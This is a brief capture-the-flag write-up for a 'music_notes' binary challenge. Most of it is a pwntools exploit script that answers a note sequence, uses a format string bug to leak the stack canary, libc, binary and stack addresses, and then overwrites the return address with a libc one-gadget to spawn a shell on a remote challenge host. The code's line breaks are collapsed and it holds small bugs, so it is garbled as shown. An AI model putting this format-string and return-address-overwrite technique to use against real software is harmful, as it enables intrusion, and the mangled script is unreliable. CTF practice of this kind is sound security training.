We must answer the correct notes `D -> B -> A -> G -> D`, exploit a format string vuln to leak libc, then trigger a one gadget. We must also use the format string the leak the canary and then place it in the ROP chain so it stys intact, avoiding the SIGABRT
```python#!/usr/bin/env python3
from pwn import *
elf = ELF("./music_notes_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.27.so")
context.binary = elf
context.log_level = "debug"
gs = '''continue'''
def conn():    if args.REMOTE:	    r = remote("68.183.40.128", 30653)     else:        r = process([elf.path])        if args.GDB:            return gdb.debug(elf.path, gdbscript=gs)    return r
def getNotes(): # handle the retreival of the notes    p.recvuntil(b"Choose note:")    Note1 = p.recvline()    Note2 = p.recvline()    return Note1, Note2
p = conn()
# D B A G DNote1, Note1 = getNotes()if b"D" in Note1:    p.sendline(b"1")else:    p.sendline(b"2")
Note1, Note1 = getNotes()if b"B" in Note1:    p.sendline(b"1")else:    p.sendline(b"2")
Note1, Note1 = getNotes()if b"A" in Note1:    p.sendline(b"1")else:    p.sendline(b"2")Note1, Note1 = getNotes()if b"G" in Note1:    p.sendline(b"1")else:    p.sendline(b"2")Note1, Note1 = getNotes()
if b"D" in Note1:    p.sendline(b"1")else:    p.sendline(b"2")
# get stack leak, canary, libcp.sendlineafter(b"> ", b"%31$p %19$p %2$p %1$p")p.recvuntil(b"[*] So, your name is: ")
canary = int(p.recv(18), 16)elf_leak = int(p.recv(15).strip(), 16)libc_leak = int(p.recv(15).strip(), 16)stack_leak = int(p.recv(15).strip(), 16)
success(f"Leaked canary {hex(canary)}")info(f"Leaked elf address {hex(elf_leak)}")elf.address = elf_leak - elf.sym.sheet - 210success(f"Leaked binary base {hex(elf.address)}")
info(f"Leaked libc address {hex(libc_leak)}")libc.address = libc_leak - libc.sym["_IO_stdfile_1_lock"]success(f"Leaked libc base {hex(libc.address)}")
info(f"Leaked stack address {hex(stack_leak)}")rbp = stack_leak + 9936success(f"Found rbp @ {hex(rbp)}")
warning(f"Address of sheet {hex(elf.sym.sheet)}")pop_rdi = 0x0000000000001053pop_rdi_pop_rbp = 0x0000000000022203rop = ROP(libc)binsh = next(libc.search(b"/bin/sh"))#pop_rdi = rop.find_gadget(["pop rdi", "ret"])
rop.raw(p64(elf.sym.sheet))
payload1 = flat({40: p64(canary),                104-8: p64(rbp),                104: p64(0x4f432+libc.address)})
p.sendafter(b":", payload1)
#p.sendafter(b":", payload2)
p.interactive()p.close()```